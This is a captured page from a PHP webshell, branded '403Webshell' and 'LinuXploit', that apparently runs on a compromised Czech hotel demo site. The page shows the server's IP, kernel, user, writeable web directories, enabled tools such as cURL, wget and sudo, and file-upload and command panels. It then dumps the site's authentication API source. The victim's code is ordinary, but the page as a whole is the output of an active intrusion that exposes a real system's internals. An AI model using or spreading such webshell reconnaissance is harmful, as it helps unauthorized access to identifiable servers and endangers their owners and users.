403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotel_jservices_cz/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotel_jservices_cz/api/auth.php
<?php
// ============================================================
//  Hotel DEMO — api/auth.php
//  Akce: login, logout, check, zmena-hesla
// ============================================================

$action = $_GET['action'] ?? $_POST['action'] ?? '';
$input  = json_decode(file_get_contents('php://input'), true) ?? [];

match ($action) {
    'login'       => auth_login($input),
    'logout'      => auth_logout(),
    'check'       => auth_check_session(),
    default       => api_response(false, null, 'Neznámá akce', 400),
};

// ------------------------------------------------------------
//  LOGIN
// ------------------------------------------------------------
function auth_login(array $input): never {
    $login      = trim($input['login'] ?? '');
    $heslo      = $input['heslo'] ?? '';
    $zapamatovat = !empty($input['zapamatovat']);

    if (!$login || !$heslo) {
        api_response(false, null, 'Vyplňte přihlašovací jméno a heslo.', 400);
    }

    $user = db_row(
        'SELECT id, jmeno, prijmeni, login, email, role, heslo_hash, aktivni, zmena_hesla_zakaz
         FROM uzivatele WHERE login = ?',
        [$login]
    );

    if (!$user || !password_verify($heslo, $user['heslo_hash'])) {
        api_response(false, null, 'Nesprávné přihlašovací jméno nebo heslo.', 401);
    }

    if (!$user['aktivni']) {
        api_response(false, null, 'Tento účet je zablokován. Kontaktujte správce.', 403);
    }

    // Smazat staré session tokeny tohoto uživatele (max 5 aktivních)
    db_query(
        'DELETE FROM uzivatel_session WHERE uzivatel_id = ? AND platnost_do < NOW()',
        [$user['id']]
    );

    // Nový token
    $token  = bin2hex(random_bytes(32));
    $ttl    = $zapamatovat ? SESSION_TTL_LONG : SESSION_TTL_SHORT;
    $expiry = date('Y-m-d H:i:s', time() + $ttl);

    db_query(
        'INSERT INTO uzivatel_session (uzivatel_id, token, zapamatovat, platnost_do)
         VALUES (?, ?, ?, ?)',
        [$user['id'], $token, $zapamatovat ? 1 : 0, $expiry]
    );

    // Aktualizace posledního přihlášení
    db_query(
        'UPDATE uzivatele SET posl_prihlaseni = NOW() WHERE id = ?',
        [$user['id']]
    );

    // Cookie — HttpOnly, SameSite=Strict
    $cookie_opts = [
        'expires'  => $zapamatovat ? time() + $ttl : 0,
        'path'     => '/',
        'secure'   => true,
        'httponly' => true,
        'samesite' => 'Strict',
    ];
    setcookie('session_token', $token, $cookie_opts);

    // Načtení oprávnění (pro zaměstnance)
    $opravneni = [];
    if ($user['role'] === 'zamestnanec') {
        $rows = db_rows(
            'SELECT opravneni, povoleno FROM uzivatel_opravneni WHERE uzivatel_id = ?',
            [$user['id']]
        );
        foreach ($rows as $r) {
            $opravneni[$r['opravneni']] = (bool)$r['povoleno'];
        }
    }

    api_response(true, [
        'token'            => $token,
        'zapamatovat'      => $zapamatovat,
        'user'             => [
            'id'                => $user['id'],
            'jmeno'            => $user['jmeno'],
            'prijmeni'         => $user['prijmeni'],
            'login'            => $user['login'],
            'role'             => $user['role'],
            'zmena_hesla_zakaz'=> (bool)$user['zmena_hesla_zakaz'],
        ],
        'opravneni'        => $opravneni,
    ]);
}

// ------------------------------------------------------------
//  LOGOUT
// ------------------------------------------------------------
function auth_logout(): never {
    $token = $_COOKIE['session_token'] ?? $_SERVER['HTTP_X_SESSION_TOKEN'] ?? '';

    if ($token) {
        db_query('DELETE FROM uzivatel_session WHERE token = ?', [$token]);
    }

    // Smazat cookie
    setcookie('session_token', '', [
        'expires'  => time() - 3600,
        'path'     => '/',
        'secure'   => true,
        'httponly' => true,
        'samesite' => 'Strict',
    ]);

    api_response(true, null, '');
}

// ------------------------------------------------------------
//  CHECK SESSION (volá se při každém otevření adminu)
// ------------------------------------------------------------
function auth_check_session(): never {
    $token = $_COOKIE['session_token'] ?? $_SERVER['HTTP_X_SESSION_TOKEN'] ?? '';

    if (!$token) {
        api_response(false, null, 'Nepřihlášen', 401);
    }

    $row = db_row(
        'SELECT s.zapamatovat, s.platnost_do,
                u.id, u.jmeno, u.prijmeni, u.login, u.email,
                u.role, u.aktivni, u.zmena_hesla_zakaz
         FROM uzivatel_session s
         JOIN uzivatele u ON u.id = s.uzivatel_id
         WHERE s.token = ? AND s.platnost_do > NOW()',
        [$token]
    );

    if (!$row || !$row['aktivni']) {
        // Smazat expirovanou cookie
        setcookie('session_token', '', [
            'expires'  => time() - 3600,
            'path'     => '/',
            'secure'   => true,
            'httponly' => true,
            'samesite' => 'Strict',
        ]);
        api_response(false, null, 'Relace vypršela', 401);
    }

    // Prodloužení platnosti
    $ttl = $row['zapamatovat'] ? SESSION_TTL_LONG : SESSION_TTL_SHORT;
    db_query(
        'UPDATE uzivatel_session SET platnost_do = DATE_ADD(NOW(), INTERVAL ? SECOND) WHERE token = ?',
        [$ttl, $token]
    );

    // Oprávnění pro zaměstnance
    $opravneni = [];
    if ($row['role'] === 'zamestnanec') {
        // Doplnit chybějící oprávnění (pro starší účty)
        $vsechna_opravneni = ['kartoteka', 'hodnoceni', 'trzby', 'statistiky_modul', 'storno_rezervace', 'zmena_rezervace', 'zmena_terminu', 'potvrzeni_rezervace'];
        foreach ($vsechna_opravneni as $op) {
            db_query(
                'INSERT IGNORE INTO uzivatel_opravneni (uzivatel_id, opravneni, povoleno) VALUES (?, ?, 0)',
                [$row['id'], $op]
            );
        }
        $rows = db_rows(
            'SELECT opravneni, povoleno FROM uzivatel_opravneni WHERE uzivatel_id = ?',
            [$row['id']]
        );
        foreach ($rows as $r) {
            $opravneni[$r['opravneni']] = (bool)$r['povoleno'];
        }
    }

    api_response(true, [
        'user' => [
            'id'                => $row['id'],
            'jmeno'            => $row['jmeno'],
            'prijmeni'         => $row['prijmeni'],
            'login'            => $row['login'],
            'role'             => $row['role'],
            'zmena_hesla_zakaz'=> (bool)$row['zmena_hesla_zakaz'],
        ],
        'opravneni' => $opravneni,
    ]);
}

Youez - 2016 - github.com/yon3zu
LinuXploit